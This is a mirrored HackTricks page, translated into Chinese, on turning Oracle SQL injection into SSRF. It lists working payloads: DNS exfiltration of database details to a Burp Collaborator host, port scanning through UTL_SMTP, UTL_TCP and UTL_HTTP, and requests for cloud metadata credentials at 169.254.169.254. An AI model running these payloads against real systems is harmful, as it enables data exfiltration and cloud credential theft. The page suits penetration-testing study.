mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
146 lines
7.1 KiB
Markdown
146 lines
7.1 KiB
Markdown
# Oracle injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**为这篇文章提供一个来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的已删除帖子在时间机器上的副本**。
|
||
|
||
## SSRF
|
||
|
||
使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常丰富,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数以执行其他 SSRF/XSPA。
|
||
|
||
安装 Oracle 可能非常麻烦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek),指引我到 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c),这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
|
||
|
||
我使用 `--network="host"` 标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
|
||
```
|
||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||
```
|
||
#### 支持 URL 或主机/端口号规范的 Oracle 包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||
|
||
为了找到支持主机和端口规范的任何包和函数,我在 [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) 上进行了 Google 搜索。具体来说,
|
||
```
|
||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||
```
|
||
搜索返回了以下结果(并非所有结果都可以用于执行出站网络)
|
||
|
||
- DBMS_NETWORK_ACL_ADMIN
|
||
- UTL_SMTP
|
||
- DBMS_XDB
|
||
- DBMS_SCHEDULER
|
||
- DBMS_XDB_CONFIG
|
||
- DBMS_AQ
|
||
- UTL_MAIL
|
||
- DBMS_AQELM
|
||
- DBMS_NETWORK_ACL_UTILITY
|
||
- DBMS_MGD_ID_UTL
|
||
- UTL_TCP
|
||
- DBMS_MGWADM
|
||
- DBMS_STREAMS_ADM
|
||
- UTL_HTTP
|
||
|
||
这个粗略的搜索显然跳过了像 `DBMS_LDAP` 这样的包(它允许传递主机名和端口号),因为 [文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) 只是将您指向 [不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此,可能还有其他可以被滥用以发起出站请求的Oracle包,我可能遗漏了。
|
||
|
||
无论如何,让我们看看我们发现并列出的某些包。
|
||
|
||
**DBMS_LDAP.INIT**
|
||
|
||
`DBMS_LDAP` 包允许访问来自LDAP服务器的数据。`init()` 函数初始化与LDAP服务器的会话,并将主机名和端口号作为参数。
|
||
|
||
这个函数之前已经被记录下来,以显示通过DNS的数据外泄,如下所示。
|
||
```
|
||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||
```
|
||
然而,由于该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
|
||
|
||
以下是一些示例
|
||
```
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||
```
|
||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表示端口关闭,而会话值指向端口为开放状态。
|
||
|
||
**UTL_SMTP**
|
||
|
||
`UTL_SMTP` 包用于通过 SMTP 发送电子邮件。 [Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。 然而,对我们来说,值得关注的是提供主机和端口规范的能力。
|
||
|
||
下面是一个粗略的示例,使用 `UTL_SMTP.OPEN_CONNECTION` 函数,超时为 2 秒。
|
||
```
|
||
DECLARE c utl_smtp.connection;
|
||
BEGIN
|
||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
||
END;
|
||
```
|
||
|
||
```
|
||
DECLARE c utl_smtp.connection;
|
||
BEGIN
|
||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||
END;
|
||
```
|
||
`ORA-29276: transfer timeout` 表示端口开放但未建立 SMTP 连接,而 `ORA-29278: SMTP transient error: 421 Service not available` 表示端口关闭。
|
||
|
||
**UTL_TCP**
|
||
|
||
`UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
|
||
|
||
示例 [在 Oracle 文档网站上展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
|
||
```
|
||
set serveroutput on size 30000;
|
||
SET SERVEROUTPUT ON
|
||
DECLARE c utl_tcp.connection;
|
||
retval pls_integer;
|
||
BEGIN
|
||
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
||
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
||
retval := utl_tcp.write_line(c);
|
||
BEGIN
|
||
LOOP
|
||
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
END LOOP;
|
||
EXCEPTION
|
||
WHEN utl_tcp.end_of_input THEN
|
||
NULL;
|
||
END;
|
||
utl_tcp.close_connection(c);
|
||
END;
|
||
/
|
||
```
|
||
|
||
```
|
||
DECLARE c utl_tcp.connection;
|
||
retval pls_integer;
|
||
BEGIN
|
||
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
||
retval := utl_tcp.write_line(c);
|
||
BEGIN
|
||
LOOP
|
||
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
END LOOP;
|
||
EXCEPTION
|
||
WHEN utl_tcp.end_of_input THEN
|
||
NULL;
|
||
END;
|
||
utl_tcp.close_connection(c);
|
||
END;
|
||
```
|
||
有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在 TCP 请求中传递。
|
||
|
||
**UTL_HTTP 和 Web 请求**
|
||
|
||
也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中将这个包定义为 - `UTL_HTTP 包从 SQL 和 PL/SQL 发起超文本传输协议 (HTTP) 调用。您可以使用它通过 HTTP 访问互联网上的数据。`
|
||
```
|
||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||
```
|
||
您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
|
||
```
|
||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||
```
|
||
`ORA-12541: TNS:no listener` 或 `TNS:operation timed out` 是 TCP 端口关闭的迹象,而 `ORA-29263: HTTP protocol error` 或数据则是端口开放的迹象。
|
||
|
||
我过去使用过的另一个包,成功率各异,是 [`GETCLOB()` 方法的 `HTTPURITYPE` Oracle 抽象类型](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705),它允许您与 URL 交互并支持 HTTP 协议。`GETCLOB()` 方法用于从 URL 获取 GET 响应,作为 [CLOB 数据类型。](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|